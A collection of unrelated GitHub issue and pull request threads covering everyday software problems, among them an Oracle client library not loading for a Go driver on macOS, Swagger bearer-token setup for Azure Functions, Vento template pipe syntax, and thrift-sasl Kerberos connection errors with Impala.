Library not loaded

When running a go application that uses ora package I get the following error:
go run main.go
dyld: Library not loaded: @rpath/libclntsh.dylib.12.1
Referenced from: /var/folders/pq/3mmbt99n59q96n5x8yycmmy40000gn/T/go-build695973967/command-line-arguments/_obj/exe/main
Reason: image not found
signal: trace/BPT trap
Any ideas how to resolve this?
Thanks in advance!
OS: El Capitan

Sorry, I don't have any Mac near or far...
Is the Oracle InstantClient properly installed, with a working oci.pc (for your system, from under contrib/) copied to the proper location (what pkg-config wants)?
What does go build -x -v print?

I am on a mac and trying to get this working.  pkg-config seems to have what it wants (from reading  #157)  I get the following when I tryi to go build -x -v:
`clang -I . -fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=$WORK=/tmp/go-build -gno-record-gcc-switches -fno-common -o $WORK/gopkg.in/rana/ora.v4/_obj/cgo.o $WORK/gopkg.in/rana/ora.v4/_obj/_cgo_main.o $WORK/gopkg.in/rana/ora.v4/_obj/_cgo_export.o $WORK/gopkg.in/rana/ora.v4/_obj/bndBfile.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndBin.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndBinSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndBool.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndBoolPtr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndBoolSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndDate.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndDatePtr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndDateSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndFloat32.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndFloat32Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndFloat32Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndFloat64.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndFloat64Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndFloat64Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt16.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt16Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt16Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt32.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt32Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt32Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt64.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt64Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt64Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt8.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt8Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndInt8Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndIntervalDS.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndIntervalDSSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndIntervalYM.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndIntervalYMSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndLob.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndLobPtr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndLobSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndNil.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndNumString.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndNumStringPtr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndNumStringSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndRset.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndString.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndStringPtr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndStringSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndTime.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndTimePtr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndTimeSlice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint16.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint16Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint16Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint32.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint32Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint32Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint64.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint64Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint64Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint8.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint8Ptr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bndUint8Slice.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/bnd_hlp.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/conn.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/conn_go1_8.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defBfile.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defBool.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defDate.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defFloat32.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defFloat64.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defInt16.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defInt32.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defInt64.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defInt8.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defIntervalDS.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defIntervalYM.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defLob.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defLongRaw.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defOCINum.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defRaw.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defRowid.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defRset.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defString.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defTime.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defUint16.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defUint32.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defUint64.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/defUint8.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/drv.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/drvQueryResult.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/env.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/ora.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/rset.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/ses.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/srv.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/stmt.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/tx.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/util_arr.cgo2.o $WORK/gopkg.in/rana/ora.v4/_obj/version.o -g -O2 -L/usr/local/lib/oracle/12.1/client64 -lclntsh
gopkg.in/rana/ora.v4
ld: library not found for -lclntsh
clang: error: linker command failed with exit code 1 (use -v to see invocation)
`

Im now at the same point as you @somebehemoth, could get it running?

I did not get it running, sadly.  Randomly thought maybe gcc on mac was issue. Installed homebrew gcc and got same result.  I still want to get this working but I am stuck.

Is the library accessible? Ldd shows everything in place? Is
LD_LIBRARY_PATH include the path of libclntsh.so?
Jeremy Bandini<EMAIL_ADDRESS>ezt írta (időpont: 2017. márc.
16., Cs 17:03):

I did not get it running, sadly. Randomly thought maybe gcc on mac was
issue. Installed homebrew gcc and got same result. I still want to get this
working but I am stuck.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/rana/ora/issues/134#issuecomment-287105317, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAPoSiEnNKYyDD7R7TC_aqBzdNo0pm8Rks5rmV1LgaJpZM4K6C7r
.

What is DYLD_LIBRARY_PATH or DYLD_FALLBACK_LIBRARY_PATH env var? Either one should include the path of your Oracle / InstantClient path (libclntsh.dylib.12.1)!

# gopkg.in/rana/ora.v4
ld: library not found for -lclntsh
clang: error: linker command failed with exit code 1 (use -v to see invocation)

I hit this error too, and I don't understand why. For whatever reason, copying each of the libraries with a .12.1 suffix to a file without the suffix solved the issue for me.
I then hit golang/go#19734, but there's a workaround available for that issue too. I also needed to set the DYLD_LIBRARY_PATH environment variable to point to my Oracle Instant Client directory like @tgulacsi says above.


[#6099] Remove low impact FxCop exclusions - Rule CA2227 (Part 6/8)

Addresses # 6099
#minor
Description
This PR removes the exclusions of the FxCop rule CA2227 (Collection properties must be read-only) in Cards classes.
Detailed Changes

Updated Collection properties (Dictionary, List, JObject)' accessor from set to private set.
Initialized collection properties with empty collections.
Replaced direct set of the properties with calls to the Collections' methods Add(), AddRange(), Merge(), and Clear() depending on the case.
Updated null validations with Count() or Any() validations.
The following properties were updated:

Media and Buttons properties:

Microsoft.Bot.Schema/AnimationCard
Microsoft.Bot.Schema/AudioCard
Microsoft.Bot.Schema/BasicCard
Microsoft.Bot.Schema/HeroCard
Microsoft.Bot.Schema/MediaCard
Microsoft.Bot.Schema/VideoCard

Buttons property:

Microsoft.Bot.Schema/OAuthCard
Microsoft.Bot.Schema/SigninCard.cs

Microsoft.Bot.Schema/ReceiptCard: Facts, Items, Buttons properties.
Microsoft.Bot.Schema/SuggestedActions: To, Actions properties.
Microsoft.Bot.Schema/ThumbnailCard: Images, Buttons properties.

Testing
This image shows the tests passing after the changes.

Promoted to MS in PR# 6210


Authentication header is not being autogenerated in further request

Привет Виталий,
thank you for keeping this repository up-to-date with azure functions!
I have one problem though.
/// <summary>
/// Create Products
/// </summary>
/// <param name="request"></param>
/// <returns></returns>
[ProducesResponseType((int)HttpStatusCode.OK, Type = typeof(ProductModel))]
[ProducesResponseType((int)HttpStatusCode.BadRequest, Type = typeof(Error))]
[ProducesResponseType((int)HttpStatusCode.PreconditionFailed, Type = typeof(Error))]
[ProducesResponseType((int)HttpStatusCode.InternalServerError, Type = typeof(Error))]
[RequestHttpHeader("Idempotency-Key", isRequired: false)]
[RequestHttpHeader("Authorization", isRequired: true)]
[FunctionName("Api_AddItems")]
public async Task<IActionResult> Create(
    [HttpTrigger(AuthorizationLevel.Anonymous, "post", "product")]
    [RequestBodyType(typeof(ProductCreateRequest), "product request")]HttpRequest request)
    {
        return new OkObjectResult(new ProductModel());
    }

I'm trying to use this code to receive authentication bearer token further in project.
But during execution of request swagger ui generates the request withouth this token.

curl -X GET "http://localhost:7071/api/Function1?code=dfgdgfdfgdfg" -H  "accept: */*"
I've tried old lib (yuka1984) as well for functions v1 and it worked fine there.
curl -X POST "http://localhost:7071/api/Api_AddItems" -H  "accept: application/json" -H  "Authorization: fsdssdf" -H  "Content-Type: application/json" -d "{  \"sku\": \"string\",  \"name\": \"string\",  \"amount\": 0,  \"stock\": 0}"
Am I doing something wrong or it's a bug?
Thanks.

I have more insights...
so, if I initialize swagger like this:
builder.AddSwashBuckle(Assembly.GetExecutingAssembly());

the header is not added in request.
But if I initialize like this:
//Register the extension
            builder.AddSwashBuckle(Assembly.GetExecutingAssembly(), opts =>
            {
                opts.SpecVersion = OpenApiSpecVersion.OpenApi2_0;
                opts.AddCodeParameter = true;
                opts.PrependOperationWithRoutePrefix = true;
                opts.Documents = new []
                {
                    new SwaggerDocument
                    {
                        Name = "v1",
                        Title = "Swagger document",
                        Description = "Swagger test document",
                        Version = "v2"
                    }
                };
                opts.Title = "Swagger Test";
                //opts.OverridenPathToSwaggerJson = new Uri("http://localhost:7071/api/Swagger/json");
                opts.ConfigureSwaggerGen = (x =>
                {
                    x.CustomOperationIds(apiDesc =>
                    {
                        return apiDesc.TryGetMethodInfo(out MethodInfo methodInfo)
                            ? methodInfo.Name
                            : new Guid().ToString();
                    });
                });
            });

Then, everything works fine.
So, should it be like this...?

Hi @hydrocortisone
Can you try configure it like so:

                opts.ConfigureSwaggerGen = (x =>
                {
                    x.CustomOperationIds(apiDesc =>
                    {
                        return apiDesc.TryGetMethodInfo(out MethodInfo methodInfo)
                            ? methodInfo.Name
                            : new Guid().ToString();
                    });

                    x.AddSecurityDefinition("Bearer", new OpenApiSecurityScheme
                    {
                        Description = "JWT Authorization header using the Bearer scheme (Example: 'Bearer XXXXX')",
                        Name = "Authorization",
                        In = ParameterLocation.Header,
                        Type = SecuritySchemeType.ApiKey,
                        Scheme = "Bearer"
                    });

                    x.AddSecurityRequirement(new OpenApiSecurityRequirement
                    {
                        {
                            new OpenApiSecurityScheme
                            {
                                Reference = new OpenApiReference
                                {
                                    Type = ReferenceType.SecurityScheme,
                                    Id = "Bearer"
                                }
                            },
                            Array.Empty<string>()
                        }
                    });
                });

Then you will see an "Authorize" button above the doc.
Pressing the button will call a dialog that asks you for a token.

Which results in Authorization header:

As this is the best option of how to configure Auth headers. The other ways are legacy.

As this is the best option of how to configure Auth headers. The other ways are legacy.

Yep, that's what I did....
Thanks for the reply though.


thrift: refactor Thrift router to allow protocol upgrade

Modifies the Thrift router to allow protocols to upgrade on initial
data from the downstream connection and upgrade an upstream connection
before transmitting a request. As part of this work, Transport and
Protocol objects are reused across downstream connections and for
an upstream's request and response.
Risk Level: low, upgrade path unused
Testing: unit tests
Docs Changes: n/a
Release Notes: n/a
Signed-off-by: Stephan Zuercher<EMAIL_ADDRESS>

@brirams @rgs1 fyi


Generator alternative to Grid

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior
Card does not cater for generator input
Expected behaviour
My system is completely off-grid.    Instead, I have a generator connected to my inverters.  Would be great to be able to either add generator support, or simply for now make the Grid options cater for a different icon on the grid side.
Possible Solutions
Changeable Grid Icon.
Separate settings for Generator input.
Mode
Both
Context / Reason
This is probably only applicable to a very small subset of people, so not expecting too much effort/support for this.  I could fork, and dive into this myself, but then it becomes a pain to maintain, if this does gain some favour, I am happy to do some potential dev as a starting point for a PR.

Hi. The card does support generator input. You should use the aux input.

Thx, for the feedback.
Yes, I know.
I really did not state my requirement well enough.
I prefer the "Lite" option for an overview, and in that mode the AUX is not shown.  Grid however is.
Interestingly, I have come across an off-grid install, where the Grid input was used for the Generator, and the AUX/GEN input was used in smartload config.
I still appreciate, that this could be a silly requirement, but all it really boils down to, is being able to change the icon of the Grid.

Hi. Ok I understand the request. I'll take a look.

@tiaanv Added to the latest release.  Please test
grid:
  import_icon: mdi:generator-mobile
  export_icon: mdi:generator-mobile
  disconnected_icon: mdi:generator-mobile

I updated, it worked.  Could even set the icons from the frontend,  but then for some reason today, even though I have the yaml in there, it does not work, and the front-end options are reverted to the old one...  Not sure if this has to do with HA updating...
Either way, It did work, and perfectly addressed my requirement.  I really appreciate the change...  Wanted to post some screenshots, but now it doesn't work.  Will fiddle and report back when I can.
As a side note, but I could log another issue for that separately, the NAME is static, so when I enable Daily Import, it would say "Daily Grid Buy".  Ideally this should use the NAME as provided in the Grid name?

Ok thanks for the feedback. It might be a caching issue. Not sure. Try clear your browser cache or incognito mode.  Might be better to just change that to "Daily Import" and "Daily Export"

Got to be a caching issue. the "Daily Import" option is perfect.

@tiaanv You can set custom labels in https://github.com/slipx06/sunsynk-power-flow-card/releases/tag/v4.43.0

Everything 100% I hoped for.  Thank you!!! Enjoy the coffee! ;)

Thanks for the coffee 😄


Removing an unnecessary dependency

Fixes https://github.com/apache/beam/issues/26985
Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Mention the appropriate issue in your description (for example: addresses #123), if applicable. This will automatically add a link to the pull request in the issue. If you would like the issue to automatically close on merging the pull request, comment fixes #<ISSUE NUMBER> instead.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.
To check the build health, please visit https://github.com/apache/beam/blob/master/.test-infra/BUILD_STATUS.md
GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

Run Java Examples_Spark


[google_maps_flutter] Allow us to not animate the camera to the marker when clicking the marker

Is there an existing issue for this?

[X] I have searched the existing issues
[X] I have read the guide to filing a bug

Use case
On web it does not automatically animate the camera to center around the marker when tapping the marker, but on iOS and Android it does. I don't want to animate the camera when clicking the marker. On iOS we can hack it by doing controller.moveCamera(CameraUpdate.scrollBy(0, 0)); in Marker.onTap but on Android this hack causes Y axis movement and the Y value changes on each device so we cannot workaround. To make matters worse there is an existing bug causing Marker.consumeTapEvents to stop working which was the fix on Stack Overflow.
Proposal
To be honest why not just remove the animateToMarker on marker tap, since we can easily just do that ourselves. This would be much more flexible than automatically doing it. But for backwards compatibility I guess add a flag for the option and default it to move the camera.

A similar issue was raised but was closed due to inactivity: https://github.com/flutter/flutter/issues/131658

For me setting consumeTapEvents to true on iOS is successfully disabling the camera centering on the marker animation.


docs(photon): document Photon filtering API

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Thanks Daisy ands sorry for the delay! 🙌


ipmitool: 1.8.18 -> 1.8.19

Description of changes
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Nice cleanup! Are all the static patches/flags not needed anymore?

The static parameter didn't work anymore anyway because it was added back in 2010 when static builds were done differently. pkgsStatic.ipmitool works perfectly. ;)

Getting an error trying to use the new version: IANA PEN registry open failed: No such file or directory
Looks like it looks in these two places:
openat(AT_FDCWD, "/root/.local/usr/share/misc/enterprise-numbers", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/nix/store/xi0xpcb1mxfj5rc07r15br2hww1fkfh5-ipmitool-1.8.19/share/misc/enterprise-numbers", O_RDONLY) = -1 ENOENT (No such file or directory)

Missing dependency perhaps? I'm not sure how to fix it.


fix: remove NaN handling

As discussed in #1398 NaN should never occur. Removing handling of them.
Fixes #1389

Checklist

[x] Run tests locally to make sure nothing is broken using make test.
[x] Run the formatter to format the code using make lint.

@orionw not quite sure about the merge conflict here - seems like there is no conflict, but I might be missing something ?

Code was moved to https://github.com/embeddings-benchmark/mteb/blob/9c58518080f6640f1e644c18fe8f174cdb2530e6/mteb/evaluation/evaluators/model_classes.py#L341-L344

Perfect - redid the fix directly on v2.0.0


piping inside javascript expressions

Hi, first I wanted to apologise for the flurry of issues, both me and @uncenter are converting large sites to vento out of similar frustrations with nunjucks to you
this issue regards some unintuitive behaviour. As far as we can tell, "javascript-like" expressions like if and for break the pipe syntax
{{ for location,posts of collections.nestedTax[value[0]]?.[value[1]]?.reverse() |> groupby("data." + tax)  }}

groupby is a filter, but it is inaccessible here because of the preceding for clause, where groupby is defined as a filter. I hope the code above demonstrates an intuitive usecase for supporting this behaviour.

One other: parens break it: {{ set a = ("<a>" |> escape) == "a"  }}
We've skimmed the code and believe this issue is a bug report, but are not sure where yet.

Vento pipes must be always at the end of the tag. for example, this works: {{ set a = "a" |> toUpperCase }} but this doesn't: {{ set a = ("a" |> toUpperCase) + "b" }}
Maybe, when pipes are implemented natively in JavaScript, this feature can be removed from Vento.

So I suppose that's why the card example doesn't work as well? Is there any way it could be supported anywhere?

Currently, the if tag doesn't have support for pipes. {{ if " " |> trim }} doesn't work. Maybe is something that could be implemented.

Yes, this would be nice. I assume the implementation is just adding a compileFilters in the plugin?

And pipes in the for is applied to the iterable, not to every element. For example: {{ for a of [1, 2, 3].reverse() }} is the same as {{ for a of [1, 2, 3] |> reverse }}. I'm not sure if this is what you're asking for.

Maybe, I was having issues with it, maybe related to the first issue, the at the end part.
A couple other things:

Does it make sense to remove this responsibility from tag plugins entirely? If vento has a large plugin ecosystem in the future, random plugins missing the pipe ability with little consistency would be annoying.
Is there a way you can call the filter inside javascript? like if I had a filter called reverse I could do like {{> if.filters.reverse(arr) instead arr |> reverse

Is there any way it could be supported anywhere?

It's hard because it requires to transpile the javascript code (currently, Vento only takes the js code and run it as is). Filters are stored in the __env.filters object (see the code here: https://github.com/ventojs/vento/blob/main/src/environment.ts#L313)
Technically, you can simply run {{ __env.filters.reverse(arr) }} instead of {{ arr |> reverse }} (the only difference is the this object).

I assume the implementation is just adding a compileFilters in the plugin?
Yes, take a look to how is implemented in for: https://github.com/ventojs/vento/blob/main/plugins/for.ts#L34
The if is similar, just passing the condition https://github.com/ventojs/vento/blob/main/plugins/if.ts#L23

Does it make sense to remove this responsibility from tag plugins entirely?
It's not so easy because tags apply the filters differently. For example for item of iterable, filters are applied to the iterable element. set item = value, filters are applied to the value element, {{ echo |> toUpperCase }} hello world {{ /echo }} the filter is applied to the content bettwen the starting and end tags.

Yes, as said in the first comment, you can run __env.filters.reverse. Perhaps we can create an option to store all filters in a variable to make them more accessible (in the same way as we have the dataVarname option to it.

Great!
I'm looking forward your PR!!


SubChart screenshot()

Description

I am not able to figure out how to screenshot the subchart. Would be handy!
Code example
chart, chart2 = await self.generate_chart()
            chart.show(block=False)
            img = chart.screenshot()
            if chart2:
                img2 = chart2.screenshot()
            chart.exit()

Method of implementation
No response

Hey @mash420
Thanks for pointing this out; this is a bug, and will be fixed in the next update.
For future reference, a code example MUST be complete, ie contain if name == main, imports, no methods or functions that are created on your end like generate_chart. This would be a valid code example:
from lightweight_charts import Chart

if __name__ == '__main__':
    chart = Chart(inner_height=0.5)
    chart2 = chart.create_subchart(width=1)
    chart.show(block=False)
    img = chart.screenshot()
    img2 = chart2.screenshot()
    print(img)
    print(img2)

Thanks,
Louis

How screenshot works? Is there any way to create an image from a chart? I don't know how to work with it because there is no example about it. Anyway this library is amazing and hope to be greater every day

How screenshot works? Is there any way to create an image from a chart? I don't know how to work with it because there is no example about it. Anyway this library is amazing and hope to be greater every day

Hey @behdad097, thanks!
Example here.

if __name__ == '__main__':     symbol = input()     timeframe = input()     indicators = input("Indicators: ").split()     try:         while True:             analyzer = DragonChart(symbol, timeframe)             task = asyncio.run(analyzer.run())     except:         print('Error')
I have the DragonChart class using the lightweight Chart class inside the name==main. Works well.

if __name__ == '__main__': symbol = input() timeframe = input() indicators = input("Indicators: ").split() try: while True: analyzer = DragonChart(symbol, timeframe) task = asyncio.run(analyzer.run()) except: print('Error')
I have the DragonChart class using the lightweight Chart class inside the name==main. Works well. I don't know why github can never format my code correctly...

I was referring to code examples in general; I don't have the DragonChart class on my end, and it is not relevant to the bug you are experiencing, so it shouldn't be provided within your code example.
This means (in the future) you’ll need to create a minimal example that reproduces the same error you are experiencing in your code, doesn’t require any modifications, and assumes that the person running the code does not have access to other classes or functions.
See this post about creating Minimal Reproducible Examples.
For formatting code: Creating and highlighting code blocks


Refactor session bookmarks (use a CSS class)

Resolves #1807
Checklist

[x] I have read the Contribution & Best practices Guide.
[x] My branch is up-to-date with the Upstream development branch.
[ ] ??? I have added necessary documentation (if appropriate)

Short description of what this resolves:
This is a code refactor, which should have no affect on the UI.
It moves the styling of the starred/bookmarked sessions into CSS. The Javascript now just toggles a class on and off.
Possible concerns

I used the class .starred for bookmarks which could get confused with #starred for the filter button.
I would be happy to use a different name for the class, if you like. (.bookmarked perhaps?)

I have only tested on the "schedule" page. According to the code, the starring feature happens on other pages too. I changed that code too but didn't test those pages!

If you like I could try to deduplicate some of the repeated code. Is there a global JS file where we can store reusable functions?
Or should I start a namespaced global, perhaps window.OpenEvent so we can do OpenEvent.starBookmarksFromStorage()?

(There is no related tracking issue at the moment.)

Thanks. I added issue https://github.com/fossasia/open-event-webapp/issues/1807

@joeytwiddle can you please provide a deployment link, where the changes proposed by you can be tested.


Troubleshooting Kerberos connection to Impala

Hi,
Maybe I'm hitting a bug with thrift-sasl-0.3.0 when I try to connect to Impala with a kerberos token.
I got this error with instanciation on connect  object.
For the following connect statement:
connect(host='host_impala', port=21050, auth_mechanism='GSSAPI', database='my_db', kerberos_service_name='impala')
My script return
Traceback (most recent call last):
File "c.py", line 2, in
conn = connect(host='bda1node05.int.adeo.com', port=21050, auth_mechanism='GSSAPI', database='dataiku', kerberos_service_name='impala')
File "/usr/lib/python3.4/site-packages/impala/dbapi.py", line 147, in connect
auth_mechanism=auth_mechanism)
File "/usr/lib/python3.4/site-packages/impala/hiveserver2.py", line 758, in connect
transport.open()
File "/usr/lib/python3.4/site-packages/thrift_sasl/init.py", line 67, in open
if not self._trans.isOpen():
AttributeError: 'TSocket' object has no attribute 'isOpen'
The version used is:
Name: thrift-sasl
Version: 0.3.0
Summary: Thrift SASL Python module that implements SASL transports for Thrift (TSaslClientTransport).
Home-page: https://github.com/cloudera/thrift_sasl
Author: Wes McKinney
Author-email<EMAIL_ADDRESS>License: Apache License, Version 2.0
Location: /usr/lib/python3.4/site-packages
Requires: sasl, thrift
But I havn't any problem with 0.2.1 version:
pip3 install thrift_sasl==0.2.1
Collecting thrift_sasl==0.2.1
Requirement already satisfied: sasl>=0.2.1 in /usr/lib64/python3.4/site-packages (from thrift_sasl==0.2.1)
Requirement already satisfied: thriftpy in /usr/lib64/python3.4/site-packages (from thrift_sasl==0.2.1)
Requirement already satisfied: six in /usr/lib/python3.4/site-packages (from sasl>=0.2.1->thrift_sasl==0.2.1)
Requirement already satisfied: ply<4.0,>=3.4 in /usr/lib/python3.4/site-packages (from thriftpy->thrift_sasl==0.2.1)
Installing collected packages: thrift-sasl
Found existing installation: thrift-sasl 0.3.0
Uninstalling thrift-sasl-0.3.0:
Successfully uninstalled thrift-sasl-0.3.0
Successfully installed thrift-sasl-0.2.1
And my script work fine.

I can confirm the exact same problem: with thrift-sasl-0.3.0 I'm unable to connect to Impala, it works with 0.2.1.
Python 3.5.2 on CentOS 6.10 here.

hi,
Here there is a problem. When I am working with the connection of impyla with impala and kerberos, with the version of thrift-sasl-0.3.0 I get the error:
AttributeError: 'TSocket' object has no attribute 'isOpen'
If I upgrade to 0.2.1 everything is OK, but I have other problem, the connection with hive and kerberos doesnt work and I need the version 0.3.0 because in the previous version tell me:
method readall doesnt exist.
What Can I do for both versions works?
Thanks in advance

Should have been fixed by https://github.com/cloudera/thrift_sasl/pull/13


Transfer repository to the cert-manager organisation

Depends on #3678

[ ] Move repository
[ ] Ensure e2e tests continue to work

Additional context
https://github.com/jetstack/cert-manager/issues/3451
https://github.com/cncf/toc/issues/557
/kind cleanup

Task list:

[ ] Merge https://github.com/jetstack/cert-manager/pull/3707 - Fix tests in kubectl plugin
[ ] Ensure tests pass for https://github.com/jetstack/cert-manager/pull/3702 - update import path
[ ] Review Prow config and Website config
[ ] Move repo with @simplyzee
[ ] ASAP merge #3702 and https://github.com/jetstack/testing/pull/442 simultaneously
[ ] Merge https://github.com/cert-manager/website/pull/455

/reopen

This is now complete :tada:  There are some other tasks required but they can be tracked elsewhere!


Updates cf-layout to 0.2.2.

Which fixes some double margins I noticed in the Contact us sidebar.

Thanks!


channel simplifications

channel: Remove idempotent retry loop.
This was added by commit 7f174213ede4396acfa86ab0b75d6254dc6dc7e2, and appears to have been designed for responses that are successful but falsy, which was apparently expected(?) in the old /json/get_events API removed by commits 14dc98d8b9004c42b5e8fb4277752ffaff72bfe2 and 9b7a3f040c87351a45ffc007bf43a47b5a37d6c5, but should not be expected today (and would not implicitly represent a failure to be retried if it were).

channel: Stop monkey-patching password change counts into XHR objects.

channel: Remove pending_requests list.
It’s been unused since commit 2eacc7317dbe8590b7b7d9c31df0a8683cc7791d removed the only caller of abort_all and commit ef815e9e79581a7ce3e73e479afb8138f165a67f removed abort_all itself.

So, the channel idempotency logic was a workaround for an issue that I'm not sure I ever understood the cause of, where nginx (or something) would return these strange success responses after having done nothing during a server restart. I'm pretty sure I've seen that code be relevant since 2016 via reading browser tracebacks.
Looking at our error reporting, Blueslip logs contained the "Retrying idempotent" string just about every day until November 28, 2019. We had one on December 17, 2019, and one on January 13, 2020. So I think it's likely that we fixed whatever bug we had in our nginx configuration that required that workaround in late 2019.
